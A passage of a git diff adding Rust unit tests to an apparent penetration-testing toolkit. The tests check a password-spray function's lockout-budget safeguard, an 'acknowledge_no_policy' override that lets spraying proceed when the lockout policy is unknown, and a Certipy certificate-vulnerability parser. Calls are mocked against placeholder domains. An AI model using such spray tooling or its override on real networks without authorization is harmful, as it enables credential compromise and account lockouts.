+ + #[tokio::test] + async fn password_spray_acknowledge_no_policy_overrides() { + mock::push(mock::success()); + let args = json!({ + "target": "192.168.58.1", "password": "P@ss", + "domain": "contoso.local", + "acknowledge_no_policy": true }); - assert!(super::password_spray(&args).await.is_ok()); + let out = super::password_spray(&args).await.unwrap(); + assert!(out.success, "acknowledge_no_policy must allow spray to run"); + } + + #[tokio::test] + async fn password_spray_threshold_zero_means_no_lockout() { + mock::push(mock::success()); + let args = json!({ + "target": "192.168.58.1", "password": "P@ss", + "domain": "contoso.local", + "lockout_threshold": 0, + "attempts_used_per_account": 100 + }); + let out = super::password_spray(&args).await.unwrap(); + assert!(out.success, "threshold=0 means no lockout policy in AD"); + } + + #[test] + fn check_spray_budget_blocks_without_policy() { + let refusal = super::check_spray_budget(None, 0, false); + assert!(refusal.is_some()); + } + + #[test] + fn check_spray_budget_allows_with_ack() { + assert!(super::check_spray_budget(None, 0, true).is_none()); + } + + #[test] + fn check_spray_budget_keeps_safety_buffer() { + // threshold=5, used=3 -> budget = 5-3-1 = 1 (allowed) + assert!(super::check_spray_budget(Some(5), 3, false).is_none()); + // threshold=5, used=4 -> budget = 0 (refused) + assert!(super::check_spray_budget(Some(5), 4, false).is_some()); + } + + #[test] + fn check_spray_budget_threshold_zero_passes() { + assert!(super::check_spray_budget(Some(0), 100, false).is_none()); } #[tokio::test] diff --git a/ares-tools/src/parsers/certipy.rs b/ares-tools/src/parsers/certipy.rs index d47ea102..724f8e90 100644 --- a/ares-tools/src/parsers/certipy.rs +++ b/ares-tools/src/parsers/certipy.rs @@ -17,7 +17,7 @@ pub fn parse_certipy_find(output: &str, params: &Value) -> Vec { let domain = params.get("domain").and_then(|v| v.as_str()).unwrap_or(""); - // Extract CA name from output if present (e.g. "CA Name: ESSOS-CA") + // Extract CA name from output if present (e.g. "CA Name: CONTOSO-CA") let ca_name = extract_ca_name(output); let mut vulns = Vec::new(); @@ -204,11 +204,11 @@ mod tests { #[test] fn parse_certipy_with_ca_name() { - let output = "CA Name : ESSOS-CA\n[!] Vulnerabilities\nESC1: enrollee supplies subject"; + let output = "CA Name : CONTOSO-CA\n[!] Vulnerabilities\nESC1: enrollee supplies subject"; let params = json!({"target": "192.168.58.10", "domain": "fabrikam.local"}); let vulns = parse_certipy_find(output, ¶ms); assert_eq!(vulns.len(), 1); - assert_eq!(vulns[0]["details"]["ca_name"], "ESSOS-CA"); + assert_eq!(vulns[0]["details"]["ca_name"], "CONTOSO-CA"); assert_eq!(vulns[0]["details"]["domain"], "fabrikam.local"); }